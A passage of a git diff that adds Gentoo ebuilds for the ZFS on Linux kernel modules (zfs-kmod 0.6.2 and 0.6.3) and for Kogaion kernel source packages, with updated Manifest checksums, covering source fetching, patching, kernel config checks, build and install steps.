+ MY_PV=9999
+ EGIT_REPO_URI="git://github.com/zfsonlinux/zfs.git git://github.com/zfsonlinux/spl.git"
+else
+ inherit eutils versionator
+ MY_PV=$(replace_version_separator 3 '-')
+ SRC_URI="https://github.com/zfsonlinux/zfs/archive/zfs-${MY_PV}.tar.gz
+ http://dev.gentoo.org/~ryao/dist/zfs-kmod-${MY_PV}-p1.tar.xz
+ https://github.com/zfsonlinux/spl/archive/spl-${MY_PV}.tar.gz
+ http://dev.gentoo.org/~ryao/dist/spl-${MY_PV}-p0.tar.xz"
+ S="${WORKDIR}"
+ ZFS_S="${WORKDIR}/zfs-zfs-${MY_PV}"
+ SPL_S="${WORKDIR}/spl-spl-${MY_PV}"
+ KEYWORDS="~amd64"
+fi
+
+DESCRIPTION="Solaris Porting Layer and Linux ZFS kernel modules"
+HOMEPAGE="http://zfsonlinux.org/"
+
+LICENSE="CDDL debug? ( GPL-2+ )"
+SLOT="0"
+IUSE="custom-cflags debug debug-log +rootfs"
+RESTRICT="test"
+
+DEPEND="dev-lang/perl
+ virtual/awk
+"
+
+RDEPEND="${DEPEND}
+ !sys-fs/zfs-fuse
+ !sys-kernel/spl
+"
+
+pkg_setup() {
+ linux-info_pkg_setup
+ CONFIG_CHECK="!DEBUG_LOCK_ALLOC
+ BLK_DEV_LOOP
+ EFI_PARTITION
+ !GRKERNSEC_HIDESYM
+ IOSCHED_NOOP
+ MODULES
+ KALLSYMS
+ !PAX_KERNEXEC_PLUGIN_METHOD_OR
+ ZLIB_DEFLATE
+ ZLIB_INFLATE
+ "
+
+ use rootfs && \
+ CONFIG_CHECK="${CONFIG_CHECK} BLK_DEV_INITRD
+ DEVTMPFS"
+
+ kernel_is ge 2 6 26 || die "Linux 2.6.26 or newer required"
+
+ [ ${PV} != "9999" ] && \
+ { kernel_is le 3 11 || die "Linux 3.11 is the latest supported version."; }
+
+ check_extra_config
+}
+
+src_prepare() {
+ # Remove GPLv2-licensed ZPIOS unless we are debugging
+ use debug || sed -e 's/^subdir-m += zpios$//' -i "${ZFS_S}/module/Makefile.in"
+
+ # Workaround for hard coded path
+ sed -i "s|/sbin/lsmod|/bin/lsmod|" "${SPL_S}"/scripts/check.sh || die
+
+ if [ ${PV} != "9999" ]
+ then
+ # Apply patch set
+ pushd "${SPL_S}"
+ EPATCH_SUFFIX="patch" \
+ EPATCH_FORCE="yes" \
+ epatch "${WORKDIR}/spl-${MY_PV}-patches"
+ popd
+
+ pushd "${ZFS_S}"
+ EPATCH_SUFFIX="patch" \
+ EPATCH_FORCE="yes" \
+ epatch "${WORKDIR}/zfs-kmod-${MY_PV}-patches"
+ popd
+ fi
+
+ # splat is unnecessary unless we are debugging
+ use debug || sed -e 's/^subdir-m += splat$//' -i "${SPL_S}/module/Makefile.in"
+
+ local d
+ for d in "${ZFS_S}" "${SPL_S}"; do
+ pushd "${d}"
+ S="${d}" BUILD_DIR="${d}" autotools-utils_src_prepare
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+ done
+}
+
+src_configure() {
+ use custom-cflags || strip-flags
+ filter-ldflags -Wl,*
+
+ set_arch_to_kernel
+
+ einfo "Configuring SPL..."
+ local myeconfargs=(
+ --bindir="${EPREFIX}/bin"
+ --sbindir="${EPREFIX}/sbin"
+ --with-config=all
+ --with-linux="${KV_DIR}"
+ --with-linux-obj="${KV_OUT_DIR}"
+ $(use_enable debug)
+ $(use_enable debug-log)
+ )
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_configure
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ einfo "Configuring ZFS..."
+ local myeconfargs=(
+ --bindir="${EPREFIX}/bin"
+ --sbindir="${EPREFIX}/sbin"
+ --with-config=kernel
+ --with-linux="${KV_DIR}"
+ --with-linux-obj="${KV_OUT_DIR}"
+ --with-spl="${SPL_S}"
+ $(use_enable debug)
+ )
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_configure
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+}
+
+src_compile() {
+ einfo "Compiling SPL..."
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_compile
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ einfo "Compiling ZFS..."
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_compile
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+}
+
+src_install() {
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_install
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_install
+ unset AUTOTOOLS_BUILD_DIR
+ dodoc "${ZFS_S}"/AUTHORS "${ZFS_S}"/COPYRIGHT "${ZFS_S}"/DISCLAIMER "${ZFS_S}"/README.markdown
+ popd
+}
+
+pkg_postinst() {
+ linux-mod_pkg_postinst
+
+ if use x86 || use arm
+ then
+ ewarn "32-bit kernels will likely require increasing vmalloc to"
+ ewarn "at least 256M and decreasing zfs_arc_max to some value less than that."
+ fi
+
+ ewarn "This version of ZFSOnLinux includes support for features flags."
+ ewarn "If you upgrade your pools to make use of feature flags, you will lose"
+ ewarn "the ability to import them using older versions of ZFSOnLinux."
+ ewarn "Any new pools will be created with feature flag support and will"
+ ewarn "not be compatible with older versions of ZFSOnLinux. To create a new"
+ ewarn "pool that is backward compatible, use zpool create -o version=28 ..."
+}
diff --git a/sys-fs/zfs-kmod/zfs-kmod-0.6.2-r3.ebuild b/sys-fs/zfs-kmod/zfs-kmod-0.6.2-r3.ebuild
new file mode 100644
index 00000000..e61aa72c
--- /dev/null
+++ b/sys-fs/zfs-kmod/zfs-kmod-0.6.2-r3.ebuild
@@ -0,0 +1,187 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+AT_M4DIR="config"
+AUTOTOOLS_AUTORECONF="1"
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit bash-completion-r1 flag-o-matic linux-info linux-mod toolchain-funcs autotools-utils
+
+if [ ${PV} == "9999" ] ; then
+ inherit git-2
+ MY_PV=9999
+ EGIT_REPO_URI="git://github.com/zfsonlinux/zfs.git git://github.com/zfsonlinux/spl.git"
+else
+ inherit eutils versionator
+ MY_PV=$(replace_version_separator 3 '-')
+ SRC_URI="https://github.com/zfsonlinux/zfs/archive/zfs-${MY_PV}.tar.gz
+ http://dev.gentoo.org/~ryao/dist/zfs-kmod-${MY_PV}-p2.tar.xz
+ https://github.com/zfsonlinux/spl/archive/spl-${MY_PV}.tar.gz
+ http://dev.gentoo.org/~ryao/dist/spl-${MY_PV}-p1.tar.xz"
+ S="${WORKDIR}"
+ ZFS_S="${WORKDIR}/zfs-zfs-${MY_PV}"
+ SPL_S="${WORKDIR}/spl-spl-${MY_PV}"
+ KEYWORDS="~amd64"
+fi
+
+DESCRIPTION="Solaris Porting Layer and Linux ZFS kernel modules"
+HOMEPAGE="http://zfsonlinux.org/"
+
+LICENSE="CDDL debug? ( GPL-2+ )"
+SLOT="0"
+IUSE="custom-cflags debug debug-log +rootfs"
+RESTRICT="test"
+
+DEPEND="dev-lang/perl
+ virtual/awk
+"
+
+RDEPEND="${DEPEND}
+ !sys-fs/zfs-fuse
+ !sys-kernel/spl
+"
+
+pkg_setup() {
+ linux-info_pkg_setup
+ CONFIG_CHECK="!DEBUG_LOCK_ALLOC
+ BLK_DEV_LOOP
+ EFI_PARTITION
+ !GRKERNSEC_HIDESYM
+ IOSCHED_NOOP
+ MODULES
+ KALLSYMS
+ !PAX_KERNEXEC_PLUGIN_METHOD_OR
+ ZLIB_DEFLATE
+ ZLIB_INFLATE
+ "
+
+ use rootfs && \
+ CONFIG_CHECK="${CONFIG_CHECK} BLK_DEV_INITRD
+ DEVTMPFS"
+
+ kernel_is ge 2 6 26 || die "Linux 2.6.26 or newer required"
+
+ [ ${PV} != "9999" ] && \
+ { kernel_is le 3 12 || die "Linux 3.12 is the latest supported version."; }
+
+ check_extra_config
+}
+
+src_prepare() {
+ # Remove GPLv2-licensed ZPIOS unless we are debugging
+ use debug || sed -e 's/^subdir-m += zpios$//' -i "${ZFS_S}/module/Makefile.in"
+
+ # Workaround for hard coded path
+ sed -i "s|/sbin/lsmod|/bin/lsmod|" "${SPL_S}"/scripts/check.sh || die
+
+ if [ ${PV} != "9999" ]
+ then
+ # Apply patch set
+ pushd "${SPL_S}"
+ EPATCH_SUFFIX="patch" \
+ EPATCH_FORCE="yes" \
+ epatch "${WORKDIR}/spl-${MY_PV}-patches"
+ popd
+
+ pushd "${ZFS_S}"
+ EPATCH_SUFFIX="patch" \
+ EPATCH_FORCE="yes" \
+ epatch "${WORKDIR}/zfs-kmod-${MY_PV}-patches"
+ popd
+ fi
+
+ # splat is unnecessary unless we are debugging
+ use debug || sed -e 's/^subdir-m += splat$//' -i "${SPL_S}/module/Makefile.in"
+
+ local d
+ for d in "${ZFS_S}" "${SPL_S}"; do
+ pushd "${d}"
+ S="${d}" BUILD_DIR="${d}" autotools-utils_src_prepare
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+ done
+}
+
+src_configure() {
+ use custom-cflags || strip-flags
+ filter-ldflags -Wl,*
+
+ set_arch_to_kernel
+
+ einfo "Configuring SPL..."
+ local myeconfargs=(
+ --bindir="${EPREFIX}/bin"
+ --sbindir="${EPREFIX}/sbin"
+ --with-config=all
+ --with-linux="${KV_DIR}"
+ --with-linux-obj="${KV_OUT_DIR}"
+ $(use_enable debug)
+ $(use_enable debug-log)
+ )
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_configure
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ einfo "Configuring ZFS..."
+ local myeconfargs=(
+ --bindir="${EPREFIX}/bin"
+ --sbindir="${EPREFIX}/sbin"
+ --with-config=kernel
+ --with-linux="${KV_DIR}"
+ --with-linux-obj="${KV_OUT_DIR}"
+ --with-spl="${SPL_S}"
+ $(use_enable debug)
+ )
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_configure
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+}
+
+src_compile() {
+ einfo "Compiling SPL..."
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_compile
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ einfo "Compiling ZFS..."
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_compile
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+}
+
+src_install() {
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_install
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_install
+ unset AUTOTOOLS_BUILD_DIR
+ dodoc "${ZFS_S}"/AUTHORS "${ZFS_S}"/COPYRIGHT "${ZFS_S}"/DISCLAIMER "${ZFS_S}"/README.markdown
+ popd
+}
+
+pkg_postinst() {
+ linux-mod_pkg_postinst
+
+ if use x86 || use arm
+ then
+ ewarn "32-bit kernels will likely require increasing vmalloc to"
+ ewarn "at least 256M and decreasing zfs_arc_max to some value less than that."
+ fi
+
+ ewarn "This version of ZFSOnLinux includes support for features flags."
+ ewarn "If you upgrade your pools to make use of feature flags, you will lose"
+ ewarn "the ability to import them using older versions of ZFSOnLinux."
+ ewarn "Any new pools will be created with feature flag support and will"
+ ewarn "not be compatible with older versions of ZFSOnLinux. To create a new"
+ ewarn "pool that is backward compatible, use zpool create -o version=28 ..."
+}
diff --git a/sys-fs/zfs-kmod/zfs-kmod-0.6.2-r5.ebuild b/sys-fs/zfs-kmod/zfs-kmod-0.6.2-r5.ebuild
new file mode 100644
index 00000000..dac300ae
--- /dev/null
+++ b/sys-fs/zfs-kmod/zfs-kmod-0.6.2-r5.ebuild
@@ -0,0 +1,187 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+AT_M4DIR="config"
+AUTOTOOLS_AUTORECONF="1"
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit bash-completion-r1 flag-o-matic linux-info linux-mod toolchain-funcs autotools-utils
+
+if [ ${PV} == "9999" ] ; then
+ inherit git-2
+ MY_PV=9999
+ EGIT_REPO_URI="git://github.com/zfsonlinux/zfs.git git://github.com/zfsonlinux/spl.git"
+else
+ inherit eutils versionator
+ MY_PV=$(replace_version_separator 3 '-')
+ SRC_URI="https://github.com/zfsonlinux/zfs/archive/zfs-${MY_PV}.tar.gz
+ https://github.com/zfsonlinux/spl/archive/spl-${MY_PV}.tar.gz
+ http://dev.gentoo.org/~ryao/dist/spl-${MY_PV}-p4.tar.xz
+ http://dev.gentoo.org/~ryao/dist/${PN}-${MY_PV}-p4.tar.xz"
+ S="${WORKDIR}"
+ ZFS_S="${WORKDIR}/zfs-zfs-${MY_PV}"
+ SPL_S="${WORKDIR}/spl-spl-${MY_PV}"
+ KEYWORDS="~amd64"
+fi
+
+DESCRIPTION="Solaris Porting Layer and Linux ZFS kernel modules"
+HOMEPAGE="http://zfsonlinux.org/"
+
+LICENSE="CDDL debug? ( GPL-2+ )"
+SLOT="0"
+IUSE="custom-cflags debug debug-log +rootfs"
+RESTRICT="test"
+
+DEPEND="dev-lang/perl
+ virtual/awk
+"
+
+RDEPEND="${DEPEND}
+ !sys-fs/zfs-fuse
+ !sys-kernel/spl
+"
+
+pkg_setup() {
+ linux-info_pkg_setup
+ CONFIG_CHECK="!DEBUG_LOCK_ALLOC
+ !GRKERNSEC_HIDESYM
+ BLK_DEV_LOOP
+ EFI_PARTITION
+ IOSCHED_NOOP
+ KALLSYMS
+ MODULES
+ !PAX_KERNEXEC_PLUGIN_METHOD_OR
+ ZLIB_DEFLATE
+ ZLIB_INFLATE
+ "
+
+ use rootfs && \
+ CONFIG_CHECK="${CONFIG_CHECK} BLK_DEV_INITRD
+ DEVTMPFS"
+
+ kernel_is ge 2 6 26 || die "Linux 2.6.26 or newer required"
+
+ [ ${PV} != "9999" ] && \
+ { kernel_is le 3 14 || die "Linux 3.14 is the latest supported version."; }
+
+ check_extra_config
+}
+
+src_prepare() {
+ # Remove GPLv2-licensed ZPIOS unless we are debugging
+ use debug || sed -e 's/^subdir-m += zpios$//' -i "${ZFS_S}/module/Makefile.in"
+
+ # Workaround for hard coded path
+ sed -i "s|/sbin/lsmod|/bin/lsmod|" "${SPL_S}"/scripts/check.sh || die
+
+ if [ ${PV} != "9999" ]
+ then
+ # Apply patch set
+ pushd "${SPL_S}"
+ EPATCH_SUFFIX="patch" \
+ EPATCH_FORCE="yes" \
+ epatch "${WORKDIR}/spl-${MY_PV}-patches"
+ popd
+
+ pushd "${ZFS_S}"
+ EPATCH_SUFFIX="patch" \
+ EPATCH_FORCE="yes" \
+ epatch "${WORKDIR}/zfs-kmod-${MY_PV}-patches"
+ popd
+ fi
+
+ # splat is unnecessary unless we are debugging
+ use debug || sed -e 's/^subdir-m += splat$//' -i "${SPL_S}/module/Makefile.in"
+
+ local d
+ for d in "${ZFS_S}" "${SPL_S}"; do
+ pushd "${d}"
+ S="${d}" BUILD_DIR="${d}" autotools-utils_src_prepare
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+ done
+}
+
+src_configure() {
+ use custom-cflags || strip-flags
+ filter-ldflags -Wl,*
+
+ set_arch_to_kernel
+
+ einfo "Configuring SPL..."
+ local myeconfargs=(
+ --bindir="${EPREFIX}/bin"
+ --sbindir="${EPREFIX}/sbin"
+ --with-config=all
+ --with-linux="${KV_DIR}"
+ --with-linux-obj="${KV_OUT_DIR}"
+ $(use_enable debug)
+ $(use_enable debug-log)
+ )
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_configure
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ einfo "Configuring ZFS..."
+ local myeconfargs=(
+ --bindir="${EPREFIX}/bin"
+ --sbindir="${EPREFIX}/sbin"
+ --with-config=kernel
+ --with-linux="${KV_DIR}"
+ --with-linux-obj="${KV_OUT_DIR}"
+ --with-spl="${SPL_S}"
+ $(use_enable debug)
+ )
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_configure
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+}
+
+src_compile() {
+ einfo "Compiling SPL..."
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_compile
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ einfo "Compiling ZFS..."
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_compile
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+}
+
+src_install() {
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_install
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_install
+ unset AUTOTOOLS_BUILD_DIR
+ dodoc "${ZFS_S}"/AUTHORS "${ZFS_S}"/COPYRIGHT "${ZFS_S}"/DISCLAIMER "${ZFS_S}"/README.markdown
+ popd
+}
+
+pkg_postinst() {
+ linux-mod_pkg_postinst
+
+ if use x86 || use arm
+ then
+ ewarn "32-bit kernels will likely require increasing vmalloc to"
+ ewarn "at least 256M and decreasing zfs_arc_max to some value less than that."
+ fi
+
+ ewarn "This version of ZFSOnLinux includes support for features flags."
+ ewarn "If you upgrade your pools to make use of feature flags, you will lose"
+ ewarn "the ability to import them using older versions of ZFSOnLinux."
+ ewarn "Any new pools will be created with feature flag support and will"
+ ewarn "not be compatible with older versions of ZFSOnLinux. To create a new"
+ ewarn "pool that is backward compatible, use zpool create -o version=28 ..."
+}
diff --git a/sys-fs/zfs-kmod/zfs-kmod-0.6.3.ebuild b/sys-fs/zfs-kmod/zfs-kmod-0.6.3.ebuild
new file mode 100644
index 00000000..01e9abbb
--- /dev/null
+++ b/sys-fs/zfs-kmod/zfs-kmod-0.6.3.ebuild
@@ -0,0 +1,169 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+AT_M4DIR="config"
+AUTOTOOLS_AUTORECONF="1"
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit bash-completion-r1 flag-o-matic linux-info linux-mod toolchain-funcs autotools-utils
+
+if [ ${PV} == "9999" ] ; then
+ inherit git-2
+ MY_PV=9999
+ EGIT_REPO_URI="git://github.com/zfsonlinux/zfs.git git://github.com/zfsonlinux/spl.git"
+else
+ inherit eutils versionator
+ MY_PV=$(replace_version_separator 3 '-')
+ SRC_URI="https://github.com/zfsonlinux/zfs/archive/zfs-${MY_PV}.tar.gz
+ https://github.com/zfsonlinux/spl/archive/spl-${MY_PV}.tar.gz"
+ S="${WORKDIR}"
+ ZFS_S="${WORKDIR}/zfs-zfs-${MY_PV}"
+ SPL_S="${WORKDIR}/spl-spl-${MY_PV}"
+ KEYWORDS="~amd64"
+fi
+
+DESCRIPTION="Solaris Porting Layer and Linux ZFS kernel modules"
+HOMEPAGE="http://zfsonlinux.org/"
+
+LICENSE="CDDL debug? ( GPL-2+ )"
+SLOT="0"
+IUSE="custom-cflags debug debug-log +rootfs"
+RESTRICT="test"
+
+DEPEND="dev-lang/perl
+ virtual/awk
+"
+
+RDEPEND="${DEPEND}
+ !sys-fs/zfs-fuse
+ !sys-kernel/spl
+"
+
+pkg_setup() {
+ linux-info_pkg_setup
+ CONFIG_CHECK="!DEBUG_LOCK_ALLOC
+ !GRKERNSEC_HIDESYM
+ BLK_DEV_LOOP
+ EFI_PARTITION
+ IOSCHED_NOOP
+ KALLSYMS
+ MODULES
+ !PAX_KERNEXEC_PLUGIN_METHOD_OR
+ ZLIB_DEFLATE
+ ZLIB_INFLATE
+ "
+
+ use rootfs && \
+ CONFIG_CHECK="${CONFIG_CHECK} BLK_DEV_INITRD
+ DEVTMPFS"
+
+ kernel_is ge 2 6 26 || die "Linux 2.6.26 or newer required"
+
+ [ ${PV} != "9999" ] && \
+ { kernel_is le 3 15 || die "Linux 3.15 is the latest supported version."; }
+
+ check_extra_config
+}
+
+src_prepare() {
+ # Remove GPLv2-licensed ZPIOS unless we are debugging
+ use debug || sed -e 's/^subdir-m += zpios$//' -i "${ZFS_S}/module/Makefile.in"
+
+ # Workaround for hard coded path
+ sed -i "s|/sbin/lsmod|/bin/lsmod|" "${SPL_S}"/scripts/check.sh || die
+
+ # splat is unnecessary unless we are debugging
+ use debug || sed -e 's/^subdir-m += splat$//' -i "${SPL_S}/module/Makefile.in"
+
+ local d
+ for d in "${ZFS_S}" "${SPL_S}"; do
+ pushd "${d}"
+ S="${d}" BUILD_DIR="${d}" autotools-utils_src_prepare
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+ done
+}
+
+src_configure() {
+ use custom-cflags || strip-flags
+ filter-ldflags -Wl,*
+
+ set_arch_to_kernel
+
+ einfo "Configuring SPL..."
+ local myeconfargs=(
+ --bindir="${EPREFIX}/bin"
+ --sbindir="${EPREFIX}/sbin"
+ --with-config=all
+ --with-linux="${KV_DIR}"
+ --with-linux-obj="${KV_OUT_DIR}"
+ $(use_enable debug)
+ $(use_enable debug-log)
+ )
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_configure
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ einfo "Configuring ZFS..."
+ local myeconfargs=(
+ --bindir="${EPREFIX}/bin"
+ --sbindir="${EPREFIX}/sbin"
+ --with-config=kernel
+ --with-linux="${KV_DIR}"
+ --with-linux-obj="${KV_OUT_DIR}"
+ --with-spl="${SPL_S}"
+ $(use_enable debug)
+ )
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_configure
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+}
+
+src_compile() {
+ einfo "Compiling SPL..."
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_compile
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ einfo "Compiling ZFS..."
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_compile
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+}
+
+src_install() {
+ pushd "${SPL_S}"
+ BUILD_DIR="${SPL_S}" ECONF_SOURCE="${SPL_S}" autotools-utils_src_install
+ unset AUTOTOOLS_BUILD_DIR
+ popd
+
+ pushd "${ZFS_S}"
+ BUILD_DIR="${ZFS_S}" ECONF_SOURCE="${ZFS_S}" autotools-utils_src_install
+ unset AUTOTOOLS_BUILD_DIR
+ dodoc "${ZFS_S}"/AUTHORS "${ZFS_S}"/COPYRIGHT "${ZFS_S}"/DISCLAIMER "${ZFS_S}"/README.markdown
+ popd
+}
+
+pkg_postinst() {
+ linux-mod_pkg_postinst
+
+ if use x86 || use arm
+ then
+ ewarn "32-bit kernels will likely require increasing vmalloc to"
+ ewarn "at least 256M and decreasing zfs_arc_max to some value less than that."
+ fi
+
+ ewarn "This version of ZFSOnLinux includes support for features flags."
+ ewarn "If you upgrade your pools to make use of feature flags, you will lose"
+ ewarn "the ability to import them using older versions of ZFSOnLinux."
+ ewarn "Any new pools will be created with feature flag support and will"
+ ewarn "not be compatible with older versions of ZFSOnLinux. To create a new"
+ ewarn "pool that is backward compatible, use zpool create -o version=28 ..."
+}
diff --git a/sys-kernel/kogaion-sources/Manifest b/sys-kernel/kogaion-sources/Manifest
index 58c1ec81..e5bf0b50 100644
--- a/sys-kernel/kogaion-sources/Manifest
+++ b/sys-kernel/kogaion-sources/Manifest
@@ -1 +1,3 @@
-DIST linux-3.10.25.tar.xz 73225500 SHA256 a6c46d88deaf4f0af9038d2d23b4ed617f901c5de38f1886b865c432f22ac7cd SHA512 843b117c44ce1622d07b7e566ab80a931bfc7ed9cf6f2837e62e0dc3e1d87ef504d8566ceed9cd8d68d6616b9495de7e8dfc59c34af20a61b99260694ae31b93 WHIRLPOOL cedfd73a3bb5ea680b59e18f5d8c714bf8a71e0441a29809c0db1bf79d16e167fc524f0387d3cd6044ff07132d1b7d168690f62aca1241e1a4149658e33ca5e6
+DIST linux-3.12.10+kogaion.tar.xz 78890528 SHA256 1afdc9e0543849e09409e7379406c03e79d49d305b32e27061fbf46d80b69205 SHA512 a4e8e9b455b6dbfd2ceae2e299a3c334e91dc888c9f92ba960c785627e534b2dcdae10b4b53a0805426781509b48b2e65477dfbd24271feea4d6bef06fb33953 WHIRLPOOL 9aed3b00f63b3f65998f9987ce2eb3543d1fa8cc2a6e09d6421a7d4d228ce0eb5d10a463eab154e566be21d74b3eed0da1a972aca84bbc51a341130a14e1e061
+DIST linux-3.14.10+kogaion.tar.xz 80986232 SHA256 d3fc515f4a3847a3a3342111c0ed26f026f3181ed995a4d9931da82e1b8ea7db SHA512 bacf7daaa4471d8a7d1067238a32fcbb1e18c9e2c4b3b176389643b7af5165dc7f799e73b9b9a5924cb87c1d3356181d5891f2e478c636db4bdc214753d978bb WHIRLPOOL fff716db9f92bc5ca7166f49bd82569d1b86a9c2bc56e83b3ca374b4853b44d2fe260c7c2fe90daab0810ce39b64576a7b2c8aab778e548538dd34ffcf058ad2
+DIST linux-3.14.15+kogaion.tar.xz 80998772 SHA256 616c110da7ca295b2a1ba43608763c28e5878467349fad0cf98e8d00327f4a51 SHA512 bbf7a92fffc94dbd27a5a02110eea5f003c6b38bf339a791374f5b08f400377976fdc1068a52be1216c1c5869a9be438f96cb10f1360779cc784a88dc6a23c4b WHIRLPOOL 5110e2681853ef52bed1a1de7d9b0f983e6b053d764c5c0e30460d946760855ed8b3653297ab69b198c983b8e3877c8523f1bed92946c8558718f621cd400aef
diff --git a/sys-kernel/kogaion-sources/kogaion-sources-3.12.10.ebuild b/sys-kernel/kogaion-sources/kogaion-sources-3.12.10.ebuild
new file mode 100644
index 00000000..8c29647b
--- /dev/null
+++ b/sys-kernel/kogaion-sources/kogaion-sources-3.12.10.ebuild
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="kogaion"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="kogaion"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit kogaion-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+ sources_standalone? ( !=sys-kernel/linux-kogaion-${PVR} )
+ !sources_standalone? ( =sys-kernel/linux-kogaion-${PVR} )"
diff --git a/sys-kernel/kogaion-sources/kogaion-sources-3.14.10.ebuild b/sys-kernel/kogaion-sources/kogaion-sources-3.14.10.ebuild
new file mode 100644
index 00000000..8c29647b
--- /dev/null
+++ b/sys-kernel/kogaion-sources/kogaion-sources-3.14.10.ebuild
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="kogaion"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="kogaion"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit kogaion-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+ sources_standalone? ( !=sys-kernel/linux-kogaion-${PVR} )
+ !sources_standalone? ( =sys-kernel/linux-kogaion-${PVR} )"
diff --git a/sys-kernel/kogaion-sources/kogaion-sources-3.14.15.ebuild b/sys-kernel/kogaion-sources/kogaion-sources-3.14.15.ebuild
new file mode 100644
index 00000000..8c29647b
--- /dev/null
+++ b/sys-kernel/kogaion-sources/kogaion-sources-3.14.15.ebuild
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="kogaion"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="kogaion"
+K_ONLY_SOURCES="1"
